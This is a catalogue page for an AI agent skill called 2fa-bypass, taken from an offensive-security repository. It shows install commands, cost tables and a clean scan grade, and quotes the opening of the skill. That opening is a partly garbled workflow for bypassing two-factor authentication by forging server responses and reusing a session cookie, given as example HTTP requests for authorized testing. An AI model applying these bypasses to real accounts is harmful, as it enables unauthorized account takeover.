Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/2fa-bypassWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/2fa-bypass)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/2fa-bypass"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/2fa-bypass/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/2fa-bypass"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/2fa-bypass.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00054 | $0.01596 |
| Opus 5 | $0.00027 | $0.00798 |
| Sonnet 5 | $0.00011 | $0.00319 |
| Haiku 4.5 | $0.00005 | $0.00160 |
Grade A, and why
2fa-multi-factor-bypass scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to 2fa-multi-factor-bypass — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 155 lines — stays where its author put it; the contents beside it link to each section on GitHub.
2FA / MFA Bypass
When to Use
- When auditing the authentication flow of a web or mobile application that implements SMS, Authenticator App (TOTP), or Email-based 2FA.
- To demonstrate how an attacker with compromised primary credentials (username/password) might circumvent the secondary layer of defense due to faulty business logic or state management by the server.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Understanding 2FA Implementation Flaws
# Concept: 2FA should be an unbreakable mathematical barrier However, developers often
# implement the logic Common Flaws :
# 1. Response Manipulation: Altering the server's boolean response .
# 2. Status Code Manipulation: Changing a 401 Unauthorized to a 200 OK 3. Direct Object Reference (Incomplete Auth): Navigating 4. Token Reuse/Predictability: 5. Rate Limit Missing: ```
### Phase 2: Exploitation via Response Manipulation
```http
# Concept: The server sends a boolean indicating if the 2FA code was correct 1. The Intercept (Attacker enters a wrong code: 000000) POST /api/v1/2fa/verify HTTP/1.1
Host: target.com
{"code": "000000"}
# 2. The Original Response HTTP/1.1 401 Unauthorized
{"success": false, "message": "Invalid code"}
# 3. The Manipulation (Using Burp Suite 'Match and Replace' or manual interception )
HTTP/1.1 200 OK
{"success": true, "message": "Authenticated"}
# Result If the frontend exclusively handles the 2FA state ```
### Phase 3: Exploitation via Direct Routing Bypass (State Mismatch)
```http
# Concept: Sometimes, after validating the password the server sets the primary session cookie BEFORE the required 2FA 1. Login POST /login HTTP/1.1
{"username": "victim", "password": "Password1!"}
# Response HTTP/1.1 302 Found
Set-Cookie: session_id=abc123validthing;
Location: /2fa-challenge
# 2. The Bypass Instead of following the redirect GET /dashboard HTTP/1.1
Host: target.com
Cookie: session_id=abc123validthing;
# Result ```
### Phase 4: Exploitation via Token Guessing / Brute Force
```text
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 155 lines · 54 tokens per session scan A 76f20d964ae9
2fa-multi-factor-bypass is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 54 tokens to every session and 1,596 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to 2fa-multi-factor-bypass, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
2fa-multi-factor-bypass
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
Web Application Security Testing
OWASP Top 10 testing, injection vulnerability detection, API security assessment, authentication testing, and web vulnerability reporting for authorized assessments.
Authentication Testing Patterns
Comprehensive authentication testing including login flows, password policies, MFA, session management, account lockout, and SSO integration.
testing-api-authentication-weaknesses
Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and…
testing-oauth2-implementation-flaws
Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common…
testing-websocket-api-security
Tests WebSocket API implementations for security vulnerabilities including missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), injection attacks through WebSocket messages, insufficient input validation, denial-of-service via message flooding, and information leakage through WebSocket…